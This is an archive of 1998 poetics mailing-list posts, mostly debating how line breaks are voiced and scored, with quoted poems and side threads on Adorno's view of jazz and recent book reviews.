does not _mean_," or, "It means [break] Nothing." (i.e. that NOTHING might be meaningful). These all, I think, are legitimate readings, and offer above all a hesitation with respect to literality (is it possible that a pun be read literally?)

On line breaks, in any case, from _Admonitions_:

When you break a line nothing
Becomes better.
There is no new (unless you are humming
Old Uncle Tom's Cabin) there is no new
Measure.
You breathe the same and Rimbaud
Would never even look at you.
Break
Your poem
Like you would cut a grapefruit
Make
It go to sleep for you
And each line (There is no Pacific Ocean) And make each line
Cut itself. Like seaweed thrown
Against a pier.

I don't know what this means with respect to the present discussion (it's clearly a critique of Olson's Projectivism, Olson being always the literalist _and_ oralist, and, of course, the very "public" figure who insisted that he be listened to). But the poem as adrft in no ocean at all? I don't know...

Let me know,

Stephen

↑ Index

306. **Douglas Oliver**
Re: Line breaks
Sat 10 Oct 1998

I think Aviva Vogel has the right thing to say about line breaks: it's not just a matter of hesitation or of emphasis on the last word before the line- break. There are all kinds of emphases.

I've studied this fairly closely with linguistic machinery reading out voice traces, though I concentrated for ease of analysis mostly on poetry with traditional metrics. For example, if you take this line break from Henry Vaughan:

When shall that cry
'The bridegroom's coming' fill the sky?

Shall it in the evening run
When our words and works are done
Or will thy all surprising light
Break at midnight.

There is no hesitation and not much difference in emphasis between "run" and "when" and there is no break in sound at all between those two words (at least in my own performance of them). Yet a definite sense of line break is given. How? Well, only partly by the rhyme scheme and syntax, I think (note, the rhyme has not yet come but may be anticipated). What happens is that the voicing (buzzing of the larynx) is continuous between "run" and "when" because of the nasalisation and the fact that the lips can form the "w" without interrupting the nasal tones. What causes the sensation of line break in this case is the *timing* of that lip movement: that is, the hesitation, if you like, is created within the sounding of the line by using different parts of the vocal apparatus. The lips move to form the "wh" but the "wh" formation is not a precise moment either: something conceptual also takes place, siting the moment of break as if mathematically within the change of sound from nose to lips.

The traces show what the ear hears: the sounding of the line is virtually continuous from "Shall" to "words" and the actual pauses come between "words" and "and", between "works" and "are" and between "are" and "done". This is because the voicing in the larynx is broken at those times by silence imposed by shifts in the vocal apparatus and/or by the interruption of voiceless consonants into the voicing (which can give a sensation of semi-pause exploitable, also, for line-breaks).

The importance of voice in creating the pacing of poetry (not to mention its several other effects) is little understood, in my opinion. For example, the impressive pausing in "Break at midnight" is much a creature of the interaction between voiceless consonants "k" especially, and the the continuous, heavy voicing possible in "midnight", plus pause-creating changes in sound position in the mouth.

There are many ways of creating line breaks and the break itself is almost infinitely variable in its quasi-duration". You can, for example, create a line break with voiceless consonants but this can become a complex question of duration. In Creeley's famous poem

drive, he sd, for
christ's sake, look
out where yr going

the line break from "for" to "christ" is formed by the staccato onset of "christ" in the back of the throat, though the "r" can be drawled to create a tension about when the line is ending. Had Creeley made the break between "christ's" and

"sake" it would then become a question of how long to continue the continuous hissing until a sense of line closure was achieved -- that would be an infinitesimal decision relative to any one single reading of the poem, but there would be no pause in sounding of the voiceless fricatives -- the break could be indicated by a sense that the hissing had gone on "long enough".

This kind of thing (the immersion of rule in practice, always) is, to take up that other thread, what pragmatics means to me in terms of linguistics or prosody: all ideas come down to their situational usage, and you can't create a positivistic or symbolic logic that will finally work. The appearance of pragmatics as a buzz word was easy to anticipate from philosophical trends of the 1980s, but I personally think poets already have this approach to their craft: it don't mean a thing if it ain't got that swing, and so on.

Isn't Deleuze's radicalisation of possibility not so much schizoid as radically incoherent? I'm not a philosopher, so I ask this as a humble question, not an attack, as my readings in Deleuze are fairly shallow. I have a sense that he could be assailed in a way analogous to the assault on Husserl's transcendental ego: that possibility is entrailed in determinism and vice-versa and we are really talking about points on a spectrum rather than a movement into (a probably fictive) schizo-possibility.

Doug Oliver

↑ Index

307. miekal and

Re: hejinian/coolidge/rova event coming up fast

Sat 10 Oct 1998

---

dee:

I still need to know where the improv fest is taking place, & directions from the north, (Im coming from 151 in wisconsin) would be greatly appreciated.

miekal and
--
-Dreamtime Village-
<http://net22.com/dreamtime/index.shtml>

[hypermedia works by Miekal And, Liaizon Wakest, Lyx Ish & Allegra Fi Wakest]
-Qazingulaza-
<http://net22.com/qazingulaza/index.html>

↑ Index

308. **miekal and**
Re: hejinian/coolidge/rova event coming up fast
Sat 10 Oct 1998

sorry
not
awake

↑ Index

309. **Gwyn McVay**
Re: Line breaks
Sat 10 Oct 1998

The other ambiguity created by the stanza break, of course, in the ultrafamous Creeley poem cited by Doug Oliver (we go to forge in the smithies of our brains the uncreated anthologies of our erase), is whether "drive" is spoken by the "he" or the "I". Somebody correct me if I'm wrong, but I'd thought Creeley had said most people automatically assume the new stanza starts with an imperative by Not John, and that ain't necessarily so.

Gwyn

↑ Index

310. **Ron Silliman**
Enjambed by brigands
Sat 10 Oct 1998

The question of the articulated linebreak never quite goes away. We have extremes -- Duncan actually counting to three between each line in his readings of Passages in 1970, the inaudible ones that Pinsky argues for -- and a million possible middle positions. I tend to side with Grumman here -- if there's no point to a linebreak, why break it? If there is a point, shouldn't it be sounded? But in practice in my readings I vary, sometimes being very strict about voicing them, then other times quite the opposite. It seems to me one of the decisions that turns the printed text literally into a score that may be performed.

Ron

↑ Index

311. Bob Grumman
Re: Enjambed by brigands
Sat 10 Oct 1998

Ron Silliman wrote:
>
> The question of the articulated linebreak never quite goes away. We have
> extremes -- Duncan actually counting to three between each line in his
> readings of Passages in 1970, the inaudible ones that Pinsky argues for --
> and a million possible middle positions. I tend to side with Grumman here --
> if there's no point to a linebreak, why break it? If there is a point,
> shouldn't it be sounded? But in practice in my readings I vary, sometimes
> being very strict about voicing them, then other times quite the opposite.
> It seems to me one of the decisions that turns the printed text literally
> into a score that may be performed.
>
> Ron

Yes, I would certainly agree that in performing a poem (even if only to oneself when silently reading it), there are times to disregard the line-break as a place to pause. Also times TO pause in the middle of lines that aren't indicated in any overt way at all in the poem.

--Bob G.

↑ Index

312. Billy Little
Re: listening
Sat 10 Oct 1998

---

gary, do you think this poem was written after listening to the recording of Pound reading the first canto, set keel to breakers etc. Do you think it matters. There's a lot about baseball in Language do you think Spicer was referring to Homer, as Pound was.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

313. **shemurph**
Re: Line breaks
Sat 10 Oct 1998

Really a nice piece on line breaks from Doug Oliver. I find that there are numerous ways to handle line breaks "right" (that is, surprisingly and satisfying-ing). I find myself relishing the EFFECTIVE use of voice in performance. A frequent affectation is the overdoing of the pause in line breaks lacking punctuation, as though the standard pause will cover the situation. And it does not. There's a delicious art to this. It might even relate to allowing the intuition to do this FOR one, rather than forcing something that (however well intentioned) is simply magnified and spoiled in the effort.

↑ Index

314. **Dale Smith**
Re: the sense of being white
Sat 10 Oct 1998

Some short poems that "open worlds" here. And, re: Linebreaks, especially with Joanne's work (actually, line placement on the page for her), is phanopoeia, the play of light and darkness on the page. Whether one reads through the break or not, it spares the eye the heavy burden of prose blocks. My humble opinion anyway, although even prose blocks can have their place...

TWO POEMS BY JOANNE KYGER

So, well, now, You've got it

Alone now

behind the scenes with the dishes

and a fast embrace

with Robert Duncan's Hestia.

--I practiced being true

to you and desperately

Angry also just for the force

of that energy as independence

and the foresight that nothing

lasts forever--

--PUSH OUT THE BREATH LINE--

Please no more ad nauseum dinky words

down left hand center Margin of paper
datedly practiced by second generation
New York school -- stuck on their typewriters

DECEMBER 22, 1996
The gale was upon us in a second. Was it the dope
brownies that made us feel so wet all
of a sudden the space between rain
drops was filled with rain.
This is serious business
this existence thing
this life
without an umbrella and only
a black hat between thoughts
and the elements thundering
down in an obligatory
engulfing swoosh!

Or this one by Paul Blackburn
AN ATMOSPHERE,
                or how
put it to you, render.
Tender is the.
Past has some dignity after all,
that is its re-al--its
                virtue, that you
hold it close, hold it
CLOSE, whatever I give you
you gave it first . It's
not hard to celebrate the sky

But I heard the bus come thru the block, the

bus after your bus, come

thru.

Two cats yowled, the starfish

held out its five arms

Here's SCALLOP SONG by Anne Waldman

I wore a garland of the briar that put me now in awe

I wore a garland of the brain that was whole

It commanded me, done babbling

And I no more blabbed, spare no lie

Tell womanhood she shake off pity

Tell the man to give up tumult for the while

To wonder at the sight of baby's beauty

Ne let the monsters fray us with things that not be

From a high tower poem issuing

Everything run along in creation til I end the song

Ne none fit for so wild beasts

Ne none so joyous, ne none no give no lie

Tell old woes to leave off here:

I sing this into a scallop shell with face of a pearl

& leave all sorrow bye & bye.

---

and finally, to try your patience once more, this poem by Ron Padgett

BUCKETS

Of rain

hit the buildings

but we in our apartments

are kept dry by the buildings they're in

the rain is rolling off the buildings

and bouncing off

and the roofs keep the rain from getting us wet

the ceiling is not letting any water in

it goes spat spat spat

on the windowledge

trying to get in

the windowpane is streaked with rain

trying to come in

to go everywhere

to make everything wet

I am lying in my bed

head near the window

aware of all this

thinking How Great

We Win

> *This seems to be a worthwhile direction to pursue. It moves us beyond the*
> *simple experimental/non-experimental dis cussions that go on and on and on*
> *top of the stove when I last saw it. Do you have an example of a poem or*
> *form that "hooks" the reader in and then engages in opening or closing*

>worlds? I am aware that I tend to be somewhat (or very!) opaque without

> *really intending to be.*
>
> *tom bell*
>
> --

> <><><>

Bruce Andrews, Graham Foust, Bob Harrison, Noah de Lissovoy, Alison Lune, Heather Ramsdell, Lisa Robertson and Christine Stewart, Juliana Spahr, Stephanie Strickland, H. T., Rodrigo Toscano, and Liz Waldner. And perfect bound. And with a stunning cover (designed by Jean Foos).

IMPORTANT NOTE: Nothing regarding this offers should be sent to the Poetics List.

All orders, queries, comments, et cetera should be sent directly to me at [redacted] (please include full name, mailing address, and e-mail address).

Or you can contact me via post at:

Deirdre Kovac
20 Douglass Street, #3
Brooklyn, NY 11231

Many advance thanks.

Best,
Deirdre Kovac
(Associate Editor, Big Allis)
[redacted]

P.S. If you ordered issue number 8 from me back with the offer posted for the publication of number 7, your copy will be in the mail to you on Monday.

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317. Todd Baron /*/ ReMap

Re: down the bottle, line breaks

Sat 10 Oct 1998

---

henry gould wrote:
>
> enjambment is
> boring.
> the whole idea that a
> break in the
> line might
> MEAN something
> un-
> interests it-
> self.

enjambment is never boring
only poets are
who hang

↑ Index

318. Tom Beard
Re: Adorno & Jazz
Sat 10 Oct 1998

> *... I can remember*
> *reading Cage's Silence in Rudd Fleming's modern poetry class at the University of Maryland 30 years ago and then going home and popping on Coltrane's Ascension and thinking these cats are onto something that somehow expresses a marvelous continuity.---Carlo Parcelli*

On a vaguely related note, who here listens to music when they are reading poetry? Is it always distracting, gumming up or hijacking the rhythms of the poetry, or are there certain types of music which go well with certain poets?

The question struck me since I was reading O'Hara at home yesterday, first with Philip Glass in the background, then with the Propellerheads. I should probably have listened to jazz, or perhaps Rachmaninoff, but both of the above seemed somehow appropriate.

Also, are their certain types of music that you like to listen to when writing? I write mostly in cafes, where they're bound to be playing Massive Attack or Portishead, and that undoubtedly affects my writing. What if I always wrote to Mancini, or Kraftwerk, or the Prodigy?

Tom Beard.

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319. Mark Weiss
Re: Line breaks
Sat 10 Oct 1998

Vaughan is writing in song-form, which was closely related to dance. The metrics are full of the kinds of surprises and syncopations that one would expect in Dowland or Campion. And there is, as in those two, an acute attention to quantity. Note, in this regard, that shall and when can be read as lightly stressed, and just as easily interpreted as first syllables of an anapest as of a trochee. What you have, then, is a spondee opening the short line, the second line in iambic tetrameter, the next two of much shorter duration--almost breathless, introduced by those dancing anapests--in trimeter, another much longer line in iambic tetrameter, and a trochaic dimeter cadence to the final couplet. No matter how you read the emphasis (by which I assume you mean stress) of run and when, run remains much longer in duration.

At 04:23 AM 10/10/98 EDT, you wrote:
>I think Aviva Vogel has the right thing to say about line breaks: it's not
>just a matter of hesitation or of emphasis on the last word before the line-
>break. There are all kinds of emphases.
>
>I've studied this fairly closely with linguistic machinery reading out voice
>traces, though I concentrated for ease of analysis mostly on poetry with
>traditional metrics. For example, if you take this line break from Henry
>Vaughan:
>
> When shall that cry
>'The bridegroom's coming' fill the sky?
>Shall it in the evening run
>When our words and works are done
>Or will thy all surprising light
>Break at midnight.
>
>There is no hesitation and not much difference in emphasis between "run" and
>"when" and there is no break in sound at all between those two words (at
least
>in my own performance of them). Yet a definite sense of line break is given.
>How? Well, only partly by the rhyme scheme and syntax, I think (note, the
>rhyme has not yet come but may be anticipated). What happens is that the
>voicing (buzzing of the larynx) is continuous between "run" and "when"
because
>of the nasalisation and the fact that the lips can form the "w" without
>interrupting the nasal tones. What causes the sensation of line break in
this
>case is the *timing* of that lip movement: that is, the hesitation, if you
>like, is created within the sounding of the line by using different parts of
>the vocal apparatus. The lips move to form the "wh" but the "wh"
formation is
>not a precise moment either: something conceptual also takes place, siting
the
>moment of break as if mathematically within the change of sound from nose to
>lips.
>
>The traces show what the ear hears: the sounding of the line is virtually
>continuous from "Shall" to "words" and the actual pauses come between
"words"
>and "and", between "works" and "are" and between "are" and "done". This is
>because the voicing in the larynx is broken at those times by silence imposed

>by shifts in the vocal apparatus and/or by the interruption of voiceless
>consonants into the voicing (which can give a sensation of semi-pause
>exploitable, also, for line-breaks).
>
>The importance of voice in creating the pacing of poetry (not to mention its
>several other effects) is little understood, in my opinion. For example, the
>impressive pausing in "Break at midnight" is much a creature of the
>interaction between voiceless consonants "k" especially, and the the
>continuous, heavy voicing possible in "midnight", plus pause-creating changes
>in sound position in the mouth.
>
>There are many ways of creating line breaks and the break itself is almost
>infinitely variable in its quasi-duration". You can, for example, create a
>line break with voiceless consonants but this can become a complex
question of
>duration. In Creeley's famous poem
>
>drive, he sd, for
>christ's sake, look
>out where yr going
>
>the line break from "for" to "christ" is formed by the staccato onset of
>"christ" in the back of the throat, though the "r" can be drawled to create a
>tension about when the line is ending. Had Creeley made the break between
>"christ's" and "sake" it would then become a question of how long to continue
>the continuous hissing until a sense of line closure was achieved -- that
>would be an infinitesimal decision relative to any one single reading of the
>poem, but there would be no pause in sounding of the voiceless fricatives --
>the break could be indicated by a sense that the hissing had gone on "long
>enough".
>
>This kind of thing (the immersion of rule in practice, always) is, to take up
>that other thread, what pragmatics means to me in terms of linguistics or
>prosody: all ideas come down to their situational usage, and you can't create
>a positivistic or symbolic logic that will finally work. The appearance of
>pragmatics as a buzz word was easy to anticipate from philosophical trends of
>the 1980s, but I personally think poets already have this approach to their
>craft: it don't mean a thing if it ain't got that swing, and so on.
>
>Isn't Deleuze's radicalisation of possibility not so much schizoid as
>radically incoherent? I'm not a philosopher, so I ask this as a humble
>question, not an attack, as my readings in Deleuze are fairly shallow. I

have
>a sense that he could be assailed in a way analogous to the assault on
>Husserl's transcendental ego: that possibility is entrailed in determinism
and
>vice-versa and we are really talking about points on a spectrum rather than a
>movement into (a probably fictive) schizo-possibility.
>
>Doug Oliver
>
>

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320. **jesse glass**
Re: Robert Lax's address
Sat 10 Oct 1998

Thanks for the information Mr. Upton. Jesse Glass
-----Original Message-----
From: Lawrence Upton. <[redacted]>
To: [redacted] <[redacted]>
Date: Sunday, October 04, 1998 10:24 PM
Subject: Re: Robert Lax's address

> *-----Original Message-----*
> *From: Ward Tietz <[redacted]>*
> *Date: 04 October 1998 14:50*
> *Subject: Robert Lax's address*
>
> *|As far as I know Robert Lax still lives on the Greek island of Patmos. We*
> *|performed his Black/White Oratorio last year in Geneva with the assistance*
> *|of John Beer who was helping Lax prepare his papers for an archive that's*
> *|been recently established at the Friedsam Library at St. Bonaventure*
> *|University in N.Y. You might try them for an exact address.*
>
> *Patmos isn't a big place. I am pretty sure Robert Lax, Patmos, Greece would*
> *find him.*
>
> *L*

↑ Index

321. **jesse glass**
Re: Robert Lax's address
Sat 10 Oct 1998

Thanks so much for your help. Jesse
-----Original Message-----
From: Ward Tietz <[redacted]>
To: [redacted] <[redacted]>
Date: Sunday, October 04, 1998 7:00 AM
Subject: Robert Lax's address

> *As far as I know Robert Lax still lives on the Greek island of Patmos. We performed his Black/White Oratorio last year in Geneva with the assistance of John Beer who was helping Lax prepare his papers for an archive that's been recently established at the Friedsam Library at St. Bonaventure University in N.Y. You might try them for an exact address.*
>
> *Ward Tietz*

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322. **Todd Baron /*/ ReMap**
Re: Adorno & Jazz
Sun 11 Oct 1998

Tom Beard wrote:
>
> > ... I can remember
> > reading Cage's Silence in Rudd Fleming's modern poetry class at the
> > University of Maryland 30 years ago and then going home and popping on
> > Coltrane's Ascension and thinking these cats are onto something that
> > somehow expresses a marvelous continuity.---Carlo Parcelli
>
> On a vaguely related note, who here listens to music when they are reading
> poetry? Is it always distracting, gumming up or hijacking the rhythms of
> the poetry, or are there certain types of music which go well with certain
> poets?
>
> The question struck me since I was reading O'Hara at home yesterday, first
> with Philip Glass in the background, then with the Propellerheads. I should
> probably have listened to jazz, or perhaps Rachmaninoff, but both of the
> above seemed somehow appropriate.
>
> Also, are their certain types of music that you like to listen to when

> writing? I write mostly in cafes, where they're bound to be playing Massive
> Attack or Portishead, and that undoubtedly affects my writing. What if I
> always wrote to Mancini, or Kraftwerk, or the Prodigy?
>
> Tom Beard.

I rec. Elvis Costello and B. Bacharach's new album for the delightful ear. If only they were involved in the discussion of Enjambment and teh Avante Guarde.

Todd Baron

ps: the new Prostetic Cubans album is worth writing to--
as in Towards.

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323. Douglas Oliver
Re: line breaks
Sun 11 Oct 1998

Mark Weiss's remarks on Vaughan very interesting -- I agree about the influence from Elizabethan song, the sense of a poem turning on the ball of the foot.

Mine was not a contribution to the question of line breaks in total: it was only a look at traditional metrics insofar as they enlighten us about modern practices. I fully take Dale's good point about positioning on page and all the rest of our modern subtleties. As our mag, Gare du Nord, has recently argued -- Joanne is firmly cited in this respect, Anne Waldman could be another -- the positioning of words on the page bears a mysterious and captivating trace of a poetry-life-lived.

My word "emphasis" is not to be confused with "stress", however. I meant by it whatever way we emphasise a line break -- either through actual pause, shift in mouth position, change of pitch (which I didn't mention), or any of the many other ways, including how the line looks print, emphasis through bodily gesture in performance, etc. etc.

I was not, in fact, conducting traditional scansion at all, just looking at the literal traces left by the voice on linguistic machinery. How a word is stressed, light or heavy, is one of those infinitesimally adjustable features depending on any one reader's single performance of a particular line. Traditional scansion can only capture this crudely.

Shall it in the evening run
When our words and works are done

f Mark wants to say that "when" or "shall" in the Vaughan poem can be a light stress, or that there's a spondee or anapest, or that "run" should be a long

duration, I'd say "Fine, if that's the way you're hearing it right now." (Though I'm not clear which "when" or "shall" he refers to because both words occur earlier.) You can place heavy or light stresses when reading these words at your will, either respecting their basic metrical status or not -- an American voice may do this differently from an English one: "run", for example, will more naturally extend in American than in English English, I suspect.

It remains that the degree of stress will still be infinitely variable depending upon expectations set up by a particular reading -- no scansion will be secure or perhaps very revealing. (In linguistics a couple called Trager and Smith set up the heresy that there were only a set number of stress weightings. Their error was to measure subjects' reactions to fragmented samples in a laboratory, thus missing the whole use of language in poetic flow and performance. Linguists love this kind of definiteness.)

The basic problem with traditional metrics is that the relationship between stress and duration of syllable is very poorly understood, since any feature (pitch, loudness, tempo, past or future of the cadence on either side of a syllable, etc.) that gives a stress its lightness or heaviness is inseparable from duration. Our sense of a stress is also semantically or emotionally freighted. Quantity, which Mark mentions, is a term which slightly straddles duration, stress, orthography, and semantics; its definition is therefore equally difficult.

The ambiguity between stress and duration is why the French can work with abstract syllable count and the commonest English tradition with stress count: the resultant music is different but both poetries "work" in a similar way -- beat and duration and pitch and voice quality and loudness/softness and meaning and emotional significance, and so on, all, truly speaking, inextricable. Since pitch is involved in stress/duration, I don't suppose Chinese poetry is all that different *in its basic manner of creating affect, either* though obviously the idiogrammatic prosody will create a perhaps very different mental process. As Pound hoped. The grammatical role of tones makes a further difference.

It is all this play across different poetic features, in fact, which leads us onwards into modern practices where the resulting ambiguities and uncertainties can be placed into tension through various procedures, perhaps including those areas where performance, concrete, sound, visual, filmic, and printing techniques interlace with poetry. This offers some hope about creating meeting grounds between the poetries of different cultures and about spreading appreciation of novelty.

Doug

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324. **Ron Silliman**
Robert Kelly in the NYT
Sun 11 Oct 1998

If you direct your browser to the New York Times today, you will see a review of Philip Roth's new novel reviewed by Robert Kelly. Great to see,

Ron Silliman

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325. **schuchat**
Re: Robert Kelly in the NYT
Sun 11 Oct 1998

---

which praises the novel, perhaps compensating for the piece by Michiko Kakutani in the Times during the week which was quite negative about I MARRIED A COMMUNIST

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326. **Michael Magee**
Re: Adorno & Jazz
Sun 11 Oct 1998

Duane, this is tripe. Would you ever give *any* literary critic props for arguing that *some* poetry is bad/bad news. This is essentially what your praise of Adorno amounts to: like a stroke of lightening at midnight he has discovered that some jazz is bad. Well, no shit. But as cultural critics there's a special imperative on us not to drown in our own ill-informed generalizations, thus adding fuel to the fire of criticism that we put cart before horse & don't usually know whereof we speak. The truth is, Adorno just dropped the ball here (now I'm really mixing metaphors at a furious pace) and we should be able to appreciate his many positive efforts w/out holding his drunk ass up at this particular party.

-m.

According to Duane Davis: >
> As I have no ear for jazz I find Adorno quite useful for tweaking the noses
> of the high minded:
>
> "Yet none of this alters the fact that jazz has in its essence remained
> static, nor does it explain the resulting enigma that millions of people
> seem never to tire of its monotonous attraction."
>
> "The range of the permissible in jazz is as narrowly circumscribed as in any
> particular cut of clothes."

>
> "Anyone who allows the growing respectability of mass culture to seduce him
> into equating a popular song with modern art because of a few false notes
> squeaked by a clarinet; anyone who mistakes a triad studded with 'dirty
> notes' for atonality, has already capitulated to barbarism."
>
> "In the process of integrating the asocial, jazz converges with the equally
> standardized schemas of the detective novel and its offshoots, which
> regularly distort or unmask the world so that asociality and crime become
> the everyday norm, but which at the same time charm away the seductive
and
> ominous challenge through the inevitable triumph of order."
>
> Adorno, "Perennial Fashion--Jazz" in PRISMS
>
> Is this the final word on jazz? Of course not. Have Adorno's words in fact
> had any appreciable influence on jazz? Again, of course not. Is he right
> about some aspects of jazz and jazz listeners? Oh yes, quite right. I've
> owned a record store for twenty years and have listened to a fair amount of
> jazz and jazz talk: some of it stimulating, some of it fatuous. The
> danger, and the beauty as well, of this essay is that you can substitute for
> "jazz" most any identifiable style of music, monkey with a few of the
> definitions and pronouncements, and come up with something suitable to piss
> just about anyone off.
>
> Duane Davis
>

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327. Michael Magee
Re: More from the same NY Times
Sun 11 Oct 1998

I would have to agree that Leithauser's poetry does have a few limitations
(?!?!?!

> Bly's most recent book is just silly (these are different reviews, by the
> way), is a brief review by Rick Whitaker of Edwin Denby's new _Dance
> Writings and Poetry_ just out from Yale. Here is the entire comment on
> Denby's poetry: "The poems seem dated and quaint."
>

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328. **Ron Silliman**
More from the same NY Times
Sun 11 Oct 1998

From the same issue of the NY Times Book Review (online at least -- I've not seen the hard copy) that has its cover review by Robert Kelly, that admits that Brad Leithauser's poetry may have some limitations and that Robert Bly's most recent book is just silly (these are different reviews, by the way), is a brief review by Rick Whitaker of Edwin Denby's new _Dance Writings and Poetry_ just out from Yale. Here is the entire comment on Denby's poetry: "The poems seem dated and quaint."

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329. **Bob Grumman**
Re: More from the same NY Times
Sun 11 Oct 1998

Michael Magee wrote:
>
> I would have to agree that Leithauser's poetry does have a few limitations
> (?!?!?!

>influence from Elizabethan song, the sense of a poem turning on the ball of
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>stressed, light or heavy, is one of those infinitesimally adjustable features
>depending on any one reader's single performance of a particular line.
>Traditional scansion can only capture this crudely.
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>When our words and works are done
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>occur earlier.) You can place heavy or light stresses when reading these
>words at your will, either respecting their basic metrical status or not
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>example, will more naturally extend in American than in English English, I
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>
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>depending upon expectations set up by a particular reading -- no scansion
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>be secure or perhaps very revealing. (In linguistics a couple called Trager
>and Smith set up the heresy that there were only a set number of stress

>weightings. Their error was to measure subjects' reactions to fragmented
>samples in a laboratory, thus missing the whole use of language in poetic flow
>and performance. Linguists love this kind of definiteness.)
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>stress and duration of syllable is very poorly understood, since any feature
>(pitch, loudness, tempo, past or future of the cadence on either side of a
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>from duration. Our sense of a stress is also semantically or emotionally
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>beat and duration and pitch and voice quality and loudness/softness and
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>inextricable. Since pitch is involved in stress/duration, I don't suppose
>Chinese poetry is all that different *in its basic manner of creating affect,
>either* though obviously the idiogrammatic prosody will create a perhaps very
>different mental process. As Pound hoped. The grammatical role of tones makes
>a further difference.
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>It is all this play across different poetic features, in fact, which leads us
>onwards into modern practices where the resulting ambiguities and
>uncertainties can be placed into tension through various procedures, perhaps
>including those areas where performance, concrete, sound, visual, filmic, and
>printing techniques interlace with poetry. This offers some hope about
>creating meeting grounds between the poetries of different cultures and about
>spreading appreciation of novelty.
>
>
>Doug
>
>

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331. **Dale Smith**
Re: line breaks
Sun 11 Oct 1998

I appreciate Douglas' generous words about metrics, especially regarding the use of more traditional elements to create tension in contemporary poems. He writes:

>It is all this play across different poetic features, in fact, which
>leads us onwards into modern practices where the resulting >ambiguities
and uncertainties can be placed into tension through >various
procedures, perhaps including those areas where performance, >concrete,
sound, visual, filmic, and printing techniques interlace >with poetry.
This offers some hope about creating meeting grounds >between the
poetries of different cultures and about spreading >appreciation of
novelty.

Ed Sanders, in an "essay on poetics" called CREATIVITY AND THE FULLY DEVELOPED BARD, devotes a chapter to meter that I have found useful. He writes:

No bard is fully realized

without a knowledge of meter

It's as simple as that--

You can groan, "Ah, Sanders, desist! desist!"

but it's true.

You have to SING into your clusters

where the vowels carry the melody

and the consonants,

those click-tracks of infinity,

are the percussion.

All poetry can be parsed

into patterns of classic meter--

and bards DO hold syllables quantitatively

as they read or chant.

Tones rise as they read,

tones change as they end a line--

sometimes it's subtle.

Sanders then lists some of the main classical meters before looking closely at poems that use these in varying combinations, forming tension and flow of sound to correlate with other elements involved with each piece. In a poem of Whitman's, he shows how various classical meters are released for a desired (conscious? unconscious?) effect:

Out of the cradle endlessly rocking (twin adonics)

Out of the mocking-bird's throat, the musical shuttle (dactyl and paean)

Out of the Ninth-month midnight,

Over the sterile sands and the fields beyond, where the child

leaving his bed wander'd alone, bareheaded, bare foot,

Down from the shower'd halo (choriambs)

Sorry I can't mark the meters in this format, but you get the idea. The sound and rhythm shifts to reenforce the meaning of the line, as in the dull rocking rhythm of the first.

Anyway, it's all very interesting. I'm not sure where to find the Sanders piece. I have a xeroxed copy here.

Dale

Get Your Private, Free Email at http://www.hotmail.com

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332. William Marsh

word breaks

Sun 11 Oct 1998

is there a term, from typesetting or elsewhere, for the space between words? -- for that piece of space used between words in traditional letterpress?

bill(x)marsh

- - - -

333. Joe Amato/Kass Fleisher
Re: line breaks
Sun 11 Oct 1998

---

just to chime in hear to say i wish i had doug o and some of you others around when i'm being bombarded with the various rationalisms of those linguist-rhetoricians who maintain w/o concession that "words are strictly thus & so," ergo should be taught thus & so-ly [wink]---which inevitably leaves out of the brew so many things poetic, along with so much that is rightfully a part of language practice...

of course some poets aver thus & so-ly as well... but there is just SO much to a "simple" line break, yknow, depends on who's doing the listening or looking...

best,

joe

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334. jesse glass
Information requested on German poetry website
Sun 11 Oct 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

To members of the list:

Recently I was delighted to discover one of my poems translated into = German and posted at the following website: = www.uni-tuebingen.de/uni/nds/hoelder/tex.../ The translator is Lothar = van Laak If anyone knows anything about this site, and about this = poet--including his address--I'd be grateful if you passed it on. I'd = like to thank Lothar for a wonderful surprise. My German is minimal, = but perhaps for those fluent in the language, this site might be of = interest.

charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
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<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>

<DIV><FONT color=3D#000000 size=3D2>To members of the list:</
FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>Recently I was delighted to dis-
cover =
one of my=20
poems translated into German and posted at the following website: <A=20
href=3D"http://www.uni-tuebingen.de/uni/nds/hoelder/tex.../">www.uni-tueb=
ingen.de/uni/nds/hoelder/tex.../</A> =20
The translator is Lothar van Laak   If anyone knows anything =
about=20
this site, and about this poet--including his address--I'd be grateful =
if you=20
passed it on. I'd like to thank Lothar for a wonderful =
surprise. My=20
German is minimal, but perhaps for those fluent in the language, this =
site might=20
be of interest.</FONT></DIV></BODY></HTML>

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335. Joe Amato/Kass Fleisher
Re: Robert Kelly in the NYT
Sun 11 Oct 1998

---

for those interested, john leonard just panned _i married a communist_ this morning (on cbs's "sunday morning")... as i heard him, he felt the novel just didn't hold up when understood as roth's payback wrt his ex-wife claire bloom's earlier (biting) memoir... todd gitlin, on the other hand, finds much of value in the novel in a review (entitled "payback time") in the book section of today's chicago trib...

i guess opinions vary, as per...

best,

joe

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336. Laura E. Wright
Re: line breaking
Sun 11 Oct 1998

Douglas Oliver wrote:

> *Mine was not a contribution to the question of line breaks in total: it was only a look at traditional metrics insofar as they enlighten us about modern practices. I fully take Dale's good point about positioning on page and all the rest of our modern subtleties. As our mag, Gare du Nord, has recently argued -- Joanne is firmly cited in this respect, Anne Waldman could be another -- the positioning of words on the page bears a mysterious and captivating trace of a poetry-life-lived.*
>
> *My word "emphasis" is not to be confused with "stress", however. I meant by it whatever way we emphasise a line break -- either through actual pause, shift in mouth position, change of pitch (which I didn't mention), or any of the many other ways, including how the line looks print, emphasis through bodily gesture in performance, etc. etc.*

Thank you, Doug. I'm intrigued with the idea of poem as "score," which necessarily implies performance -- or does it? Anne Waldman's work is a good example of this, existing in both realms. From a musician's perspective, the score is but a skeleton of potential performance. It's also something studied intently, read and re-read, scribbled on, pondered over. (Satie, by the way, wrote incredible "directions" to the performer, such as "as if to be a hole.") And once one's decided what something in the score "means" there's still the matter of how to convey that. Is an accent expressed in length, volume, force of attack, altered attack, etc. This sort of interpretation is what makes music "musical."

Poetry, it seems, must be capable of its own "musicality" _without_ the skilled interpreter, i.e. on its own on the page. The reader, in this sense, is the performer. What a responsibility! How much scoring can really come across? when does it detract or confuse? How much ambiguity is just enough?

